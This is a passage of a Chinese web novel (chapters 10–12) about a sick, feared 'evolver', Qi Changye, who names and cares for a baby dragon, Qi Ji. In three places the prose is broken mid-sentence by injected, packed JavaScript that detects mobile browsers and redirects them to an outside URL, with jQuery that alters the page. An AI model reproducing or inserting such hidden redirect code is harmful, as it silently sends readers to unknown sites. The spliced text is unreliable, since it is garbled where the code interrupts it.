祈长夜又吐出一口血，这一次，两道鲜红的血从那双漂亮而空茫的眼睛里落了下来。 轰隆—— 惊雷持续了一夜，几乎整晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那双捧着小龙的手，冰凉而修长，曾经毫不犹豫地掠夺过许多生命，现在，却不受控制，微微发颤。 “对不起。” 祈长夜用力地咬破自己的手腕，任由鲜血滚落。 小龙想要避开，却没有力气。它被祈长夜的鲜血浸没，奄奄一息的躯体，一点点恢复了生机。 一如不久前，它破壳的那个晚上。 小龙似乎想起了什么，龙瞳微微睁大，紧紧盯着祈长夜，却又因为他的眼神，一下顿住了。 “……嗷。” 这只刚刚恢复了一些力气的幼崽，望着祈长夜的眼睛，脑袋轻蹭一下他的掌心，发出一声轻轻的“嗷嗷”。 不疼哒。 别哭。 祈长夜没有说话。 活泼的小太阳，总是喜欢跳来跳去，向他展示尾巴上的鳞片，要他夸夸。 而现在——哪怕小龙正在恢复，尾巴上的伤口，依然没有一丝痊愈的征兆。 那枚属于小龙的第一枚鳞片，没有了。 小龙努力地探起身躯，向外挪腾。祈长夜的手掌随之移动，直到小龙够到床头的花瓶，小爪子扒拉着花杆摇一摇，一片小小的花瓣落了下来。 它捧起花瓣，放到自己尾巴上，盖住了那个流血的伤口。 尾巴顶着一小朵花瓣，小龙昂起脑袋，软乎乎地冲祈长夜“嗷”了一声。 鳞片长回来啦。 “……” 祈长夜闭上眼睛，别过脸。 “我想给你起个名字。” 他的声音起先有些微颤，而后，一点点平稳了下来。 “可以吗？” 小龙歪头：“嗷呜。” 祈长夜听懂了它的意思。 给我取了名字，那就要养我呀。 他的眼睫动了动，低头，冰冷的脸庞贴上小龙的身躯，用尽全身的力气，轻轻地说： “好。” 10. 第十章 小祈霁 白纸落下清隽的字迹，勾勒为两个字。 小龙凑过去，贴着那两个字，大大的龙瞳里满是好奇。 “祈霁。” 祈长夜的声音清和。 “祈，是我父母留给我的姓。你睁开眼睛时，是雨后的清晨，我希望，小龙的天空，会是永远没有阴霾的晴天。” 这个名字，早在小龙破壳那天，就已想好。 直到现在，终于归属了等待已久的小龙。 小祈霁浅金色的龙瞳亮起了星星般闪烁的光芒，它趴在自己的名字上，小爪爪一点点描绘过每一寸字迹，认真又专注。 抱住笔杆，晃一晃。 祈长夜意会，在“祈霁”两个字旁边，写下了自己的名字。 小龙开心地在那两个名字边打转。 “祈霁。” “嗷嗷。” “祈长夜。” “嗷嗷嗷！” 直到祈长夜将小祈霁抱住卧室，这只小龙还一直发出欢快的“嗷嗷嗷”。 它的身体已经恢复大半，只有尾巴上的伤口尚未愈合——现在，尾巴末端也被祈长夜小心地包扎过，系上一个小小的蝴蝶结。 小祈霁没有一点失去鳞片的失落，反而非常喜欢那个祈长夜亲手系的蝴蝶结，时不时扭头看看自己的尾巴，晃一晃小脑袋。 祈长夜：“疼吗？” 小祈霁：“叭！” 不疼。 祈长夜一下一下抚摸他的小龙，温柔的力道，摸得小龙舒服地眯起了眼睛。 “我会治好我的病。”他说，“下次，不要这样了。” 小祈霁不吭声。 祈长夜：“再这样，我就不养你了。” 小祈霁：“！” 小龙急嗷嗷地昂起脑袋，想说什么，被祈长夜轻轻摁住。 “不管，不听。” 顺便轻轻捏住小龙的嘴巴。 小祈霁：“……” 这只小龙缩回祈长夜掌心，有点委屈，又很乖地点了下小脑袋。 然后挪到祈长夜手腕那边，小心翼翼地掀开袖子。 祈长夜的手腕间同样缠着一圈洁白的纱布，小祈霁趴在旁边，蔫巴巴地垂着脑袋。 小的尾巴受伤，大的手腕受伤，你看看我，我看看你，贴在一起。 最后，祈长夜握住小祈霁的爪子，晃了一晃：“不疼了。” —— 晨风拨动店前的铃铛，伴随着清脆铃声，一道修长身影走进店内。 店员抬头，眼睛一亮：“欢迎光临！” 琳琅满目的玩具屋，祈长夜站在中间，店员偷偷打量这位陌生客人清隽好看的侧脸，猜想他墨玉般纯黑的眼眸和发丝是在哪里染的。 “店里新到了一批上城流行的玩具，您是给自己挑选，还是为您的家人？” 然后店员就看见，那位容貌出众的客人微微抬手，指间趴着一只奇奇怪怪的生物，正好奇地探头探脑。 怪物。 只有深渊，才有怪物。只有进化者中的怪物，才会豢养怪物。 芙洛城不大，早上的流言中午就能绕城三圈，店员一下子认出来，这就是传说中的那位…… 她的神色骤变，迅速低头，根本不敢对上那双乌黑的眼眸。 传言中，这位最危险的进化者极少露面，一旦露面，必然伴随着鲜血与死亡。 店员浑身绷紧，飞速思考他们店里什么时候混进了一只怪物，还是说店长就是伪装的怪物。她早就觉得店长不对劲了，跟个伪人似的……现在向这位进化者告发，还能有条活路吗？ 一道清冷而悦耳的声音响起：“喜欢吗？” 喜欢什么？喜欢吃人？那种事情不要啊，要吃就去吃店长…… 小祈霁溜溜地转了一圈，仰起亮晶晶的龙瞳：“嗷呜？” 祈长夜：“全要了。” “嗷！” 店员：“……” 店员露出灿烂的笑容：“尊敬的客人，我们还提供送货上.门.服务哦！” 街道尽头，一家装潢典雅的成衣定制店，有客人穿过玄关。 店长托起镜框：“欢迎光临。” 那位年轻的客人站在窗边，浅淡光晕勾勒出美丽挺拔的身形，细腰腿长，劲瘦流畅的腰线之下是一双修长匀称的双腿，往那一站，就是一道极为漂亮的风景线。 这一刻，向来挑剔的老店长仿佛看见，自己最好的作品即将诞生。 “是正装，还是常服？”店长双手合握，大步迎了上来，“您的选择非常正确，我是这座城里最好的裁缝。” 祈长夜：“童装，可以吗。” 店长顿生遗憾，不过，他没有表露出来：“当然，那需要带小客人来，量体裁衣。” 祈长夜抬手，掌心里的小龙昂起下巴。 “……深渊的怪物？” 老店长连连后退几步。 “我不会把我的手艺浪费在怪物身上，这有辱我的尊严！” 祈长夜一言不发，修长的手指夹着一张薄薄的黑卡，随意往柜台上一敲。 柜台的通讯器感应，一笔转账实时汇转。 店长低头看了一眼。 抬头：“先生，您想要什么款式，喜欢什么颜色？” —— 冷风卷起落叶，行人匆匆捂紧外衣。 一条精巧细小的羊绒围巾缠上小龙身躯，四只小爪爪套上毛茸茸的针织小靴子，就连尾巴也有只轻软的小毛套，严严实实地挡住了寒风。 忽然膨胀成毛绒球的小龙：“？” 疑惑地看看自己。 不太确定，多看两眼。 祈长夜再给它戴上一顶软软的针织小帽子：“很可爱。” “昂！” 小祈霁一下子开心了，喜欢上了这一身雪白毛绒。 哥哥给哒！ 毛茸茸的小龙踩着小靴子，踢踢踏踏。 忽然往旁边一歪。 祈长夜用手指扶住小祈霁，它抬起一只套着针织靴的小爪爪，有点疑惑，原地蹦跶了一下。 这只小龙明显还不是很习惯踩着小针织靴走路，努力地在祈长夜手中练习起来。 祈长夜旁观了一会小龙早期驯服鞋子的画面，向一边走去。 街道的窗户映出年轻男子与小龙的身影，小小的幼崽踩着针织靴，往前一跳，已落到另一扇窗前。 窗后的沙发，安德森端起微凉的红茶，想起一件往事。 作为治愈系进化者，他遇到过很多病人，总有的人，格外特殊。 三年前，那个雨夜，一位少年被带到他的面前。 “治好他。” 少年身后的那位大人物站在阴影里，轻描淡写地抛下这句话，转身，埋入阴影。 安德森握住少年的手，惊愕地发现他的精神力正在不断流失。无法遏制的流失速度，换作其他进化者，早已衰竭而死。 这说明，少年原本的精神力极为强大。然而，足以支撑起一位进化者所有心气与骄傲的东西，却从他身上消失了。 “医生。” 少年的手很凉，仿若透不进日光的寒潭，一如那双冷漠而死寂的眼眸。 “你救不了我。” 敲门声响起，安德森从三年前的旧事回神，转向三年后的门扉：“请进。” 年轻男子推门而入，清冷昳丽的眉目，一如当初。 他平淡地说：“医生，我还有救吗。” 安德森：“……” 安德森：“五。” 祈长夜神色不变：“还剩五年？” 安德森：“四。” 小祈霁：“？” “三。” “？？” “二，一！” 安德森放下腕表：“好了，到我下班时间了。” “……” 小祈霁揣起磨好的小爪子，转转脑袋，好像什么都没发生。 祈长夜看了眼时间，早上刚过十点。 “我这周休假，先坐吧。”安德森说，“看来这次，你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119881|164242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为了拿那些没什么用的药而来。” 祈长夜微微点头，安德森目光扫过，发现了一只正把脑袋搁在祈长夜指间蹭蹭的小怪物。 “这就是帝龙？长得怪模怪样。” 祈长夜摸摸小祈霁的脑袋：“不怪。” 小祈霁吧唧亲一口他的手指。 “……” 祈长夜迅速把手指收了回去。 安德森露出了然的表情。 他张口便说：“我知道，这几年你一直抗拒治疗，对我开的药爱吃不吃，我说的话就当耳边风。叫你别用精神力，你还用。叫你少去深渊，你还去……” 默默听着他叨叨的祈长夜低声插了一句：“有些情况，不得不去。” 安德森双手抱胸：“好吧，谁让你是我们这唯一能从深渊里捞人的。你来了以后，那群进化者小队都敢往危险的地方作死了，就知道你会去捞他们。” “所以，是什么让你改变了主意，决定放过自己？” 祈长夜敛目，安静地抚摸小龙尾巴。 小祈霁望着他，摇摇尾巴，软软地圈住他的指尖。 “原来如此。” 安德森推了推鼻梁上的眼镜，眼底划过一抹反光。 “你的精神力受损太严重，就像我之前说的，是失去泉眼的井，迟早会干涸。” “下周开始，来我这里做精神疏导，每周两次。” “先打个预防针，那滋味可不好受，就像在你的脑子里钻孔，强行刺激精神力复苏，而且，不保证能起效。” 祈长夜：“好，麻烦您了。” 话音刚落，他的手指被扒拉了一下。 小祈霁嗷嗷，声音有点焦急。 我也可以！ 等我再长大一点点！ 祈长夜摸摸它的脑袋：“你只要长大就好。” 小祈霁不吭声了，盯着自己的小爪爪，不知在想些什么。 安德森再次开口：“精神力受损……是不可逆的，不要说恢复到以前的水平，就算只是恢复一点，也难如登天。” 他望着自己这位三年前的病人：“所以，后悔吗？” “不，”祈长夜抬起乌黑的眼眸，“绝不。” …… 助理将洗好的茶杯放置在茶盘，和有些走神的安德森打招呼：“祈队已经走了。” 安德森若有所思：“他总算有点活气了。” 助理：“啊？” “有些人活着，是为了赴死。”安德森摇了摇头，多了几分欣慰，“他不再是了。” 助理：“啊？您说啥？听不懂。” 安德森：“……回家吧，回家去吧。” 街头落下金色的叶子，被祈长夜接在掌中，递给小龙。 小祈霁抱着金灿灿的叶子，好奇地打量几秒，嚼嚼。 祈长夜：“？” 祈长夜：“不要什么都吃。” 小祈霁呸呸呸吐出叶子，被苦得抖了一抖。不过，它还是抓着那片哥哥给的叶子，没有松爪。 祈长夜的目光停在街道对面，两秒后，落回小龙身上：“想吃糖吗？” 小祈霁：“嗷？” 刚刚破壳没多久的小龙，还没有尝过糖的味道。 祈长夜抬步。 “哎呀，这不是祈队嘛？” 熟悉的声音响起，艾丽娅两三步跨到祈长夜面前。 “你手里的是什么呀？是准备送给城主的礼物吗？”她指了指小祈霁，笑嘻嘻地询问。 小祈霁很警觉地抓紧祈长夜衣袖，祈长夜摇摇头：“我和城主说过，以后它住我那。” 艾丽娅长长地“哦”了一声，看着祈长夜，不说话，只是背着手笑。 祈长夜与她对视两秒：“怎么了？” 艾丽娅捏着嗓子：“我不会养它~” 祈长夜：“……” 艾丽娅：“过十四天就把它送走~” 祈长夜：“…………” 祈长夜转身，抱着歪头的小祈霁，默默走远了。 11. 第十一章 被击中啦 精力充沛的小祈霁在祈长夜身上游走穿梭，从他的手腕往前一扑——被另一只手稳稳接住了。 过了两秒，这只小龙又飞快爬到祈长夜肩上，轻轻扒拉他乌黑柔软的发丝。 一不留神，小祈霁又不知道蹿到哪里了。 艾丽娅看得啧啧称奇：“它平时吃的什么，这么活泼。” 祈长夜：“肉，和蔬菜。” 小祈霁从祈长夜的乌发间探出脑袋，眼神幽幽。 艾丽娅更惊奇了：“你还做饭给它吃！天哪，祈队亲手下厨，你小子吃得可真好。” 小祈霁眨巴眨巴眼睛，得意洋洋，尾巴朝天。 “对了，过几天是我生日，我打算喊几个朋友一起聚一聚。” 艾丽娅双手合十，弯起眼睛。 “祈队，听说你这段时间休假——” 祈长夜：“算了。” “我知道你肯定不来，邀请的可不是你。” 艾丽娅对小祈霁挥手：“你好呀，来不来我家？有蛋糕吃。” 小祈霁抱住祈长夜几缕乌发，看看他。 祈长夜对上那双溜圆的龙瞳，说：“想去吗？” 小祈霁没什么反应，艾丽娅凑近一点，小声和它嘀咕：“你把祈队一起拉过来，这样所有人都知道，祈队身边多了一个你啦。” 小祈霁嗷一声支棱起来了。 去！ 祈长夜：“。” 祈长夜：“我听得到。” 艾丽娅：“可是它想去诶。” 小龙跳来跳去，对着祈长夜软软地嗷嗷。 哥哥，想去！ 那双亮亮的龙瞳里满怀期待，祈长夜安静片刻，说：“好吧。” “祈霁，它的名字。” 对于这个名字，艾丽娅倒是真的有些意外，看着昂起小脑袋的小龙，说：“你好呀，小祈霁。” 穿过街道，还没靠近对面的糖果店，空气里就多了一抹甜香。 祈长夜微微停步，而后神色如常地走了进去。 琳琅满目的糖果店，他拎起一袋水晶般琉璃剔透的水果糖，在小祈霁面前晃晃：“苹果味的。” 小祈霁：“昂！” 店里客人众多，一些人看着那个年轻男子，以及趴在他肩头的怪物，眼神古怪，退避三舍。 那些视线在祈长夜这里，就像空气一样被忽视了过去。他陆陆续续地挑了几十样糖果，从水果硬糖到夹心软糖，只要是小祈霁想要的，不同口味都选了一遍。 走出店门，祈长夜拆开一颗软糖，喂给手腕间的小龙。 小祈霁轻啃一口，嚼啊嚼，小尾巴飞快摇晃起来。 祈长夜：“喜欢吗？” 小祈霁发出甜甜的声音：“叭！” 甜哒。 喜欢甜食的小龙，在回家的路上吃到了很多不同味道的糖。 到了家里，祈长夜放下装满糖果的袋子，从里面冒出一只小脑袋，头顶一颗草莓味的糖。 小祈霁抖抖脑袋，窸窸窣窣地爬了出来，在糖果堆中打滚。 忽然，被一颗偏硬的糖果纸扎了一下，“嗷”一声，飞快蹿出来了。 溜溜达达，假装无事发生。 祈长夜捧起小龙，小心地摘下它尾巴上的小针织套。 细长的尾巴末端，有一道明显的伤疤。 撕裂鳞片的伤口已经愈合，然而，几天过去，这道伤疤并没有消除的迹象。 ……不知道这个位置，以后还能不能长出新的鳞片。 祈长夜眼眸微黯，偏过目光。 小祈霁正用小爪爪拆开一颗糖果纸，开开心心地啃啃糖果，根本不在意自己的尾巴，是条无忧无虑的小龙。 祈长夜注视片刻，眼底的阴霾散去些许。拿出一罐蜂蜜，开始思考，要不要加到小龙的午饭糊糊里。 喜欢吃糖，也喜欢吃糊糊，所以，也会喜欢甜的糊糊吧。 小祈霁还不知道自己即将迎来什么，小爪爪举起一颗糖，递给祈长夜：“嗷呜。” 祈长夜摇摇头：“你吃吧。” 屋子里添置了许多新东西，铺上保暖的地毯，还有毛茸茸的小窝，像是一下子有了人气。 新买的玩具堆满地下室，祈长夜挑了几个，小祈霁爬到最上面，好奇地扒拉一下。 这是什么呀？ 祈长夜没见过，也不知道怎么玩。 他童年时，从未接触过这种东西，对“玩具”的记忆，空白而陌生。 拿起说明书，一大一小凑在一起，研究起来。 时间走过几圈，拆开的玩具堆满桌子，搭成一个大城堡。小龙穿梭在其中，时不时探出个小脑袋，很新奇的样子。 对旁边的祈长夜举起一个积木，是半个小爱心的形状。 祈长夜翻出另外半个小爱心，拼在一起。 小祈霁把那个完整的小爱心放在城堡最顶端，愉快地摇摇尾巴，再抬起头，那道一直陪着它的身影已经不见了。 ——祈长夜从厨房出来，就看见刚刚还在玩玩具的小龙正急急地要跳下桌子，想追上他。 他按住小祈霁，说：“我不走。” 然后把那个小龙专用碗放到桌上。 小祈霁看看他，紧紧抓住他的手指，然后才低头，喝了一口碗里的水。 甜的。 小龙没有尝过这种甜滋滋的水，多喝了几口，细长的尾巴有一下没一下地扫过桌面，又悄悄搭上祈长夜手腕。 祈长夜放下一罐蜂蜜，金黄的色泽，和小龙眼睛的颜色相近。 他又陪了小祈霁一会，摸摸它的脑袋：“我去做饭，你在这等我。” 小祈霁好像定格了一下，然后慢吞吞，慢吞吞地点了下脑袋。 祈长夜走进厨房，小龙看着他离去的背影，啪一下躺在桌上，对旁边的玩具兴致缺缺。 恐怖的食物。 ……哥哥做的。 恐怖的食物。 ……哥哥做的！ 经历了只有短短几秒的心理斗争，这只小龙就下定了某种决心，悄悄给自己打气。 然后它扭头，看向旁边的蜂蜜。 甜哒。 喜欢。 给哥哥吃。 小祈霁拿起勺子，往祈长夜的杯子里拨了点蜂蜜，贴心地搅拌搅拌。 祈长夜听见了什么动静，把新鲜的蔬菜和水果分别打成糊糊以后，走了出来。 小龙还是很乖巧地坐在玩具堆里，昂起脑袋，把一杯水往他这边推推。 祈长夜不做他想，拿起水杯，喝了一口。 小祈霁的注视中，他的神色忽然变化，转身，头也不回地走向洗手间。 “砰”一声，洗手间门扉紧闭，随后是急促的水声。 小龙愣在了原地。 哗啦啦的水声流淌，一段时间后，祈长夜才从里面出来。 他的发丝微湿，水珠沿着苍白面颊滑落，浸湿了黑白分明的眼眸，仿佛刚刚从一段噩梦中惊醒。 “没事。” 他抱起茫然无措的小龙，轻声说。 “不关你的事，我只是，不喜欢甜的东西。” 小祈霁：“……呜。” 它感觉自己做错了事情，有气无力地垂下脑袋，趴成一小坨。 对不起。 “你没有错，不用道歉。”祈长夜一下一下抚摸小龙，“我也没有生气，别难过。” 温柔的抚摸，缓解了小祈霁的不安。这只小龙蜷缩在祈长夜指间，轻轻用脑袋蹭他。 为什么不能吃甜的？ 祈长夜语气平静：“我有病。” 小祈霁：“……” 小祈霁闷闷地蜷缩起来。 过了几秒，它又坚定地握紧小爪爪，龙瞳里充满决心。 抱住祈长夜手指，吧唧亲了一口。 等我再长大一点，就可以治好你啦！ 指尖的湿润，过于亲昵的动作，令祈长夜下意识想要避开，但小祈霁好像早有准备，抱得死紧。 “……” 最后，祈长夜敲敲小龙脑壳，说：“好吧。” —— 弯月悬挂树梢，屋檐下挂起亮晶晶的彩灯。 “生日快乐。” 玄关入口，祈长夜将手中的礼物递给艾丽娅。 “谢啦！”艾丽娅笑嘻嘻地接过，“里面都是熟人，随便吃随便坐，不用客气！” 屋子里聚着不少人，都和艾丽娅相熟，也因此，他们大多数都在第一时间认出了祈长夜的身份。 “是他……？” “那种危险人物，也能随便出来吗……” “小声点，别被听到了！” 窃窃私语响起，似乎并不觉得这话会传到玄关。 一些目光停留在玄关，明明知道应该避开，却又不受控地被那道清隽身影吸引了过去，仿佛追逐火星的飞蛾，跃动不休。 然后，他们看见，那位冰冷俊美的祈队衣领里……钻出了一只毛茸茸的幼崽？ 穿着毛茸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119882|164242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茸针织衣服的小祈霁哼哧哼哧挤出个小脑袋，当着所有人的面，蹭蹭祈长夜的脸庞。 祈长夜低头，偏过好看的侧脸，轻轻抵上小龙。 这一幕的祈队，并不冰冷危险，反而多了几分温情。暖色的灯光下，那双漂亮的乌黑眼眸，似乎都化为柔和的夜色。 有些人的神情微微发生了变化。 “我觉得……他和传言里不太一样……” “你们谁能和我一起过去，我想搭讪一下……” “祈队！” 有人走过来，端着两杯果汁。正是上次在图书馆，和祈长夜偶遇的实验人员。 “真巧，我们又见面了！” “不巧，”艾丽娅说，“你们今天聚在这里，都是为我庆生，谢谢。” 然后拿走了他原本想递给祈长夜的那杯甜味果汁。 “……上次还没来得及告诉祈队我的名字。”那个相貌清秀的实验人员摸摸后脑，“我叫麦森。” 祈长夜：“你好。” “你好你好，”麦森卡壳了一下，“额，您吃了吗？” 艾丽娅在旁边扶额。 小龙开始龇牙。 凶巴巴的，吓了麦森一跳。 祈长夜低头，轻轻把这只小龙从肩膀上拎下来，说：“不能这样。” 小祈霁看看他，乖乖地把下巴搁在他的指间，不凶了。 艾丽娅用手肘撞了麦森一下，麦森又飞快蹿出一句：“祈队，我我我，我们可以换个联系方式吗？” 虽然不知道他为什么结结巴巴的，但祈长夜还是拿出了通讯器。 小祈霁凑过来一个小脑袋，幽幽地盯着通讯器上的名字，又幽幽地盯着对面的人。 麦森完全没注意到来自深渊幼龙的目光，他看着通讯器上多出来的那个名字，过了两秒，脸莫名红了一点。 祈长夜忽然发现，小祈霁开始嗷嗷乱叫。 听不懂。 他点点小龙脑袋，再抬头时，麦森已经站到他的面前，旁边的艾丽娅挤眉弄眼，而麦森的脸莫名涨得通红。 “祈队，其实，我有句话——” 祈长夜：“你又生病了？” “……” 迎着月亮的露台，轻纱飘起，隔绝聚会的喧闹。 祈长夜靠在露台边，端着一块蛋糕，喂栏杆上的小龙。 小祈霁嗷呜一口吞掉蛋糕，不知道为什么，有点气哼哼的。 祈长夜：“怎么了？” 小祈霁看着他，摇摇脑袋，又转向涂满奶油的香甜蛋糕。 “嗷呜？” 这是什么？ 好吃！ “蛋糕，明天给你买。” 小祈霁开心地摇晃摇晃，揪住祈长夜袖子，叭叭一声。 生日是什么呀？ “庆祝诞生的日子，”祈长夜耐心地说，“明年，我也给你过生日。” 小祈霁：“嗷？” 只有明年嘛？ “后年，大后年，到你长大。”祈长夜又叉起一块蛋糕，送到小龙嘴边，“等你变成一条大龙，就给你做一个大蛋糕。” 小祈霁大声地：“昂！” 它抬起小爪爪，显得自己很大的样子。 祈长夜望着这只小小的幼崽，眼底像落入了星光的涟漪，微微荡漾。 有歌声流淌在夜色里，疏落的星辰间，一抹银亮的丝线，划过深黑天鹅绒般的夜空。 “流星。” 祈长夜捧起小祈霁，面朝星空。 “闭上眼睛，许下的愿望就会实现。” 静谧的夜色，星星安静地闪烁。祈长夜睁开眼，对上一双专注的，始终没有合上的龙瞳。 “不许愿吗？” 小祈霁软软地贴住他。 把我的愿望让给你！ 这样你就可以许两个愿啦！ 祈长夜眸光微定。 夜空下，小龙浅金色的龙瞳，比星辰还要明亮。 微风拂过发丝，露出那双倒映星辰的乌黑眼眸，在漫天的星光里，似有一丝笑意流转而过。 小祈霁忽然呆住了。 祈长夜：“好吧，那我替你存一个愿望。” 小祈霁一动不动，好像变成了一座小小的木雕。 祈长夜微微俯身：“怎么了？” 他戳戳小龙，小龙啪叽一下，歪倒在他的掌心里。 缓缓朝上，翻过小肚皮。 被击中啦。 祈长夜：“……？” 12. 第十二章 哥，好久不见 热闹的聚会到了尾声，三三两两的客人结伴散去。 “祈队。”艾丽娅追上那道独自一人的身影，说，“我送送你。” “不用。” 祈长夜说话的时候，一只毛茸茸的小龙从他的肩膀探头，挥着小爪子，存在感极强地彰显自己的存在。 祈长夜：“说再见。” 小祈霁：“吱嗷。” 艾丽娅微笑：“听不懂，拜拜。” 映着月光的地面，修长的身影与小小的影子贴在一起，逐渐走远。 一回到家，小龙就熟练地蹬掉身上毛茸茸的小衣服，跳了两下。 祈长夜看着光溜溜爬来爬去的小龙，开始思考，这只幼崽是不是不喜欢穿衣服。 窗外吹来一阵微风，他立刻拿起软绒绒的围巾，裹住小龙。 小祈霁：“嗷？” 不冷。 “冷，”祈长夜说，“你还小，多穿点。” 小祈霁歪了下脑袋，用围巾裹住祈长夜手指，抱住他。 祈长夜：“不冷。” 小祈霁一本正经地嗷嗷两声。 你不大，多穿点。 祈长夜：“。” 祈长夜曲起手指，轻轻蹭过小龙脑壳：“知道了。” —— 入秋的凉风一夜间笼罩城市，天还蒙蒙亮的时候，祈长夜就醒了过来。 枕头旁边，摆着一张巴掌大小的“床”，软绵绵的床垫，铺着蓬松温软的小被子，还有一只小枕头。 然而，小龙专属床上并没有某只小龙。 祈长夜勾起被角，他的肩窝上，一只小龙趴在睡衣间，抱着自己的小尾巴，睡得正香。 时间还没到六点，他拢上被子，阖着眼帘，安静凝听窗外的风声。 大脑清明，没有一丝困意。这些天他都是准时入睡，天未亮就醒来——虽然睡的时间不长，但至少，没有梦魇，不会头疼到无法入眠。 小祈霁温暖的身躯散发着小小的热量，隔着薄薄的衣料，透进他的躯体。 不知什么时候开始，夜晚再也没有那么冰冷了。 几小时后，从被子里冒出一只小脑袋，明亮亮的金色龙瞳看看祈长夜。 “早安。” “嗷嗷！” 被窝里暖乎乎的，小祈霁在他的身上赖床，滚来滚去，黏黏糊糊不想起来。 直到祈长夜抱着这条小龙去洗漱，做好早饭，舀了一勺喂进它的嘴里，小祈霁才一个激灵，精神了。 抱住小碗，风卷残云地解决掉了碗底的糊糊。 祈长夜：还是那么喜欢吃糊糊。 然后拿出一盒蛋糕。 香香甜甜的小蛋糕，小祈霁吃的速度就慢了下来，一小口一小口啃着。 祈长夜：应该是吃饱了。 小龙一边啃，尾巴一边愉悦地摇啊摇。 祈长夜：吃太饱，在消食。 一盒蛋糕吃得干干净净，小祈霁心情很好地用下巴磨蹭磨蹭祈长夜手指，伸长爪爪，弓起腰身，伸了个小懒腰。 祈长夜三两口解决完自己的早餐，对小龙摊开掌心。 小祈霁蹦跶到他的手中，和他来到客厅。 翻开彩色绘本，祈长夜开始教小祈霁人类的语言发音。 “嗷。” “嗷嗷嗷。” “昂呜。” 两小时后，祈长夜合上绘本，说：“聪明。” 至少，小祈霁都认识上面的字。 才破壳没多久，却是会读懂人类语言的小龙。 “在深渊里，有人教你这些吗？” 小祈霁望着他，点了下脑袋。 祈长夜微微意外：“是谁？” 小祈霁蹭蹭他的手指，没有吭声。 祈长夜摸摸他的小龙，不再询问。也许这只小龙有些秘密，但，没有关系。 时间接近中午，订购的食材被送了过来。 小祈霁在厨房水池边溜达，伸出小爪爪，隔空去探池子里游来游去的鱼。 小爪爪太短，够不着。 每天的食材中，都有一尾鲜鱼。这是一种特殊而珍贵的鱼类，极其富含营养，还有强大的修复身体、促进生长的功效，在芙洛城这样偏远的C级城市更是价格高昂——全都进了小祈霁肚子。 精巧的刀工之下，鱼肉整齐切片，如一盘堆砌的雪。光是摆着就令人赏心悦目，无法想象做出来会有多好吃。 小祈霁趴在旁边，眼神好像有点复杂。 几天前艾丽娅的生日宴上，祈长夜偶然听见一些家常菜的做法，决定今天尝试一下。 片刻后，他站在烟雾缭绕的厨房里，盯着半盘黑炭，敛目沉思。 小祈霁呆若木鸡。 无声地往后挪了点，再挪一点。 祈长夜平静地转向它：“你可以吃生的吗？” 毕竟……是条龙。 回应他的是来自深渊的超危帝龙茫然又无辜的目光。 祈长夜：……算了。 不能为难小小龙。 剩下半盘鱼肉，没有任何多余的做法，直接和蔬菜一起蒸熟，被夹进小饭碗里。 祈长夜尝了一口，几秒都没有说话。 比营养剂还难吃。 他本来以为小祈霁会无法接受，结果这只小龙试探地啃了一小口，微微睁大了眼睛。 非常开心地吃了起来。 祈长夜沉默。 他忽然意识到，自己和小祈霁之间，一定有个人，味觉出了什么问题。 “喜欢吗？” 小祈霁连连点头，非常满足的样子。 祈长夜：“。” 好吧。 他摸摸这只小龙，心想，能被他养到现在……真不容易。 “下次，要是不喜欢吃什么，直接和我说。” 小祈霁对上那双清宁淡然的眼睛，又点点脑袋。 祈长夜走到厨房，几分钟后，端着一碗糊糊出来，放到小龙旁边。 小祈霁脑袋一扭，不肯吃。 “……” 最后，那碗糊糊被祈长夜自己吃了，没有浪费。 午后的时间静谧，地毯落满暖融融的阳光。祈长夜靠在窗边，专注地看书。 小祈霁摇摇他的衣角，他顺手拿了个玩具，递过去。 小龙在新铺的地毯上追着玩具玩了一会，昂起脑袋，祈长夜漂亮的墨色眼眸沉浸在微光的文字里，并没有它的倒影。 小祈霁歪头。 为什么看书，不看我？ 我不好看嘛？ 小祈霁摇晃着小尾巴，扒拉住祈长夜衣角，爬上他的手背。 祈长夜：“乖。” 然后把这条小龙抱起来，和它一起看书，给它念书上的文字。 小祈霁起先还聚精会神地支着小脑袋，到后来，小脑袋逐渐一点一点，一点一点。 祈长夜低头。 小龙在打盹。 软软的脑袋，搁在他的拇指上方，一小只缠住他的手指，也许是做了什么愉快的梦，小尾巴有一下没一下地扫过他的指根，微微有些痒。 祈长夜维持着右手的动作，没有动。 过了一会，小祈霁睁开龙瞳，醒了。 好像有点茫然，左右看看。 很警惕地盯着那本书。 邪恶的力量。 一不小心就晕倒了！ 祈长夜默然片刻，揉揉小龙：“是它不好。” 小祈霁深以为然，连连点头。 金红色的晚霞晕染天空，落叶铺满街道。 祈长夜给小祈霁套上毛绒绒的衣服，和它一起，沿着街边散步。 有人匆匆路过，祈长夜开口：“医生。” 安德森背着双手，目视前方，随口“嗯”了一声。 ……等等。 刚刚是谁在和我说话？ 几秒后，安德森飞快倒退回来。 “这个时间外出？” 